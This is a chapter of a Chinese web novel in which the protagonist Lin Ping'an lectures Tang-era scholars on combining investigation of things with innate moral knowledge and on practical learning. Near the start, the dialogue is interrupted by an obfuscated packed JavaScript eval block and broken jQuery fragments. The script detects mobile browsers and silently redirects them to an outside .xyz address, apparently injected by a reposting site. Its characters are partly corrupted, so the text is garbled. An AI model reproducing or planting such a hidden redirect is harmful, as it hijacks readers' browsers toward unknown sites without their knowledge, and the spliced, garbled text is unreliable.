第259 章 论道开始
先生,都说完了?若是说完了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541804|184733||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    ,可否容晚辈也说几句?”

    他顿了顿,不等对方回答,便洒然一笑,朗声道:“诸位口口声声圣人之言,千年道统,却不知,这‘道’,究竟是让人变得更明理、更强大、更能造福世人的‘活水’,还是束缚思想、禁锢人性、阻碍进步的‘死物’?”

    他目光炯炯,继续道:“今日,便请诸位见识一下,何为‘格物’与‘致良知’的互补,何为剥去僵化外壳,存其智慧精髓的学问!”

    (是时候让你们见识一下,经过后世千锤百炼,去芜存菁的‘程朱理学’方**,结合‘阳明心学’的洞察力,再融入‘明清实学’经世致用精神的——中和之道了!)

    中和之道?程朱理学?阳明心学?明清实学?这些闻所未闻的词汇,如同重锤狠狠砸在李世民的心头,让他瞬间瞪大了眼睛,呼吸都为之一滞!

    他隐隐感觉到,林平安接下来要说的,将是石破天惊,足以颠覆这个时代认知的东西!

    林平安扫视一众大儒,声音响彻云霄。

    “诸位批判我离经叛道,却可知,真正的学问,绝非死记硬背,盲从古人!它需要格物的严谨——格物致知,如同匠人研究木材,农夫观察天时,需脚踏实地,探究事物本身的规律与道理,积累真知,建立逻辑,此乃学问之根基,避免陷入空想!”

    “然,仅有格物之严谨,易陷入繁琐教条,故需致良知之通透!遇事不决,当问本心,明辨是非,坚守底线,知行合一!用本心的光明,照耀前路的迷雾,避免成为只知书本、不通人情的腐儒!”

    “此二者,如同车之两轮,鸟之双翼,相辅相成,缺一不可!用格物深耕知识,用良知指引方向!”

    他话锋猛然一转,变得凌厉起来:

    “而尔等所固守的某些天理,诸如“存天理,灭人欲”中压抑个体、束缚女子、否定常人需求的糟粕,正是需要被剔除的僵化外壳!”

    “学问之道,当落入实处,学对国家于民有利的知识,让百姓吃饱穿暖,让国家富强昌盛,方是真正的“大道”!”

    “圣人亦云,民为贵,社稷次之,君为轻!尔等空谈仁义,可曾让关中百姓因土豆而免于饥馑?可曾让寒冬百姓因蜂窝煤而免于冻馁?可曾让天下学子因更有效的启蒙之法而更容易明理?”

    “若不能,尔等所守之道,与空中楼阁、镜花水月何异?!”